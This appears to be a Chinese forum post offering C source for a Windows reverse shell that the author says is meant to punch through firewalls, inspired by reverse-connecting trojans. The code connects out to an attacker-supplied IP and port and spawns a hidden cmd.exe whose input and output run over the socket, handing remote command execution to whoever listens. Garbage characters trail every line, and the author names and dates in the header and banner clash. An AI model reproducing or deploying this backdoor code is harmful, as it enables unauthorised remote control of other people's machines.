这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 14jN0\
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/* ============================== l;L_A@B<
Rebound port in Windows NT j@D,2B;
By wind,2006/7 C4P<GtR9
===============================*/ 0bT[05.
#include KIag(!&
#include Wpi35JrC
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#pragma comment(lib,"wsock32.lib") 4+s6cQ]S`
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void OutputShell(); 7(N+'8
SOCKET sClient; <aDZ{T%
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; G\TO]c
%^vT7c>
void main(int argc,char **argv) 6a9$VGInU
{ v8j3
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WSADATA stWsaData; TlRc8r|
int nRet; ^|]Dg &N.
SOCKADDR_IN stSaiClient,stSaiServer; ~x#TfeU]
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if(argc != 3) dRnf
{ XWyP'\
printf("Useage:\n\rRebound DestIP DestPort\n"); _lFw1pa#\
return; l
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} $2?j2}M
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WSAStartup(MAKEWORD(2,2),&stWsaData); =I)43ahd
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !hhL",
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stSaiClient.sin_family = AF_INET; |E.BGdS
stSaiClient.sin_port = htons(0); [nP s
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); /:'>-253
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) G0Qw&
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{ Vm>E F~ r
printf("Bind Socket Failed!\n"); >MYDwH
return; 9;?u%
} ~"CGur P
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stSaiServer.sin_family = AF_INET; _gI1rXI
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); C5,fX-2Q
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \'4~@
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) G9 O6Fi
{ ow.!4kx{ d
printf("Connect Error!"); !NkCki"W
return; 2_+>a"8Y
} hN
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OutputShell(); f,KB BBbG
} cN8Fn4gq
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void OutputShell() v#d\YV{I
{ %gh#gH
char szBuff[1024]; N}K
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SECURITY_ATTRIBUTES stSecurityAttributes; hEQyaDD;
OSVERSIONINFO stOsversionInfo; ~<m^
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; @we1#Vz.
STARTUPINFO stStartupInfo; Mzp<s<BX
char *szShell; 7MLLx#U
PROCESS_INFORMATION stProcessInformation; YAOfuas]j
unsigned long lBytesRead; [ 49Cvde^
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); MQ-u9=ys
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); N8{jvat
stSecurityAttributes.lpSecurityDescriptor = 0; 7GYf#} N
stSecurityAttributes.bInheritHandle = TRUE; :^v Q4/,
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Pc`d]*BYi
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); )Y7H@e\1
t?4H9~iH
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); A51
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'z(Y9%+a
stStartupInfo.wShowWindow = SW_HIDE; f
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stStartupInfo.hStdInput = hReadPipe; gwRB6m$
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; <46&R[17M
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GetVersionEx(&stOsversionInfo); &>,;ye>A
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switch(stOsversionInfo.dwPlatformId) ,,gMUpL7_8
{ iZ-R%- }B
case 1: .ybmJU*Hg
szShell = "command.com"; w`)5(~b
break; Mw/9DrE7/
default: `$B?TNuch7
szShell = "cmd.exe"; ~oa}gJl:}-
break; -WlYHW
} c$Kc,`2m7
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); vW1^
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send(sClient,szMsg,77,0); $3^M-w
while(1) \yr9j$
{ Lt't
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); N}?|ik
if(lBytesRead) GfE>?mG
{ d:(Ex^^
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); L,[Q/$S8
send(sClient,szBuff,lBytesRead,0); ny5P*yWEh
} [iub}e0
else S4x9k{Xn
{ Q)DEcx-|,
lBytesRead=recv(sClient,szBuff,1024,0); }qn>#ETi
if(lBytesRead<=0) break; .N X9Ab
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); G%
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} $[>{s9E
} &<VU}c^!
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return; *#T:
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}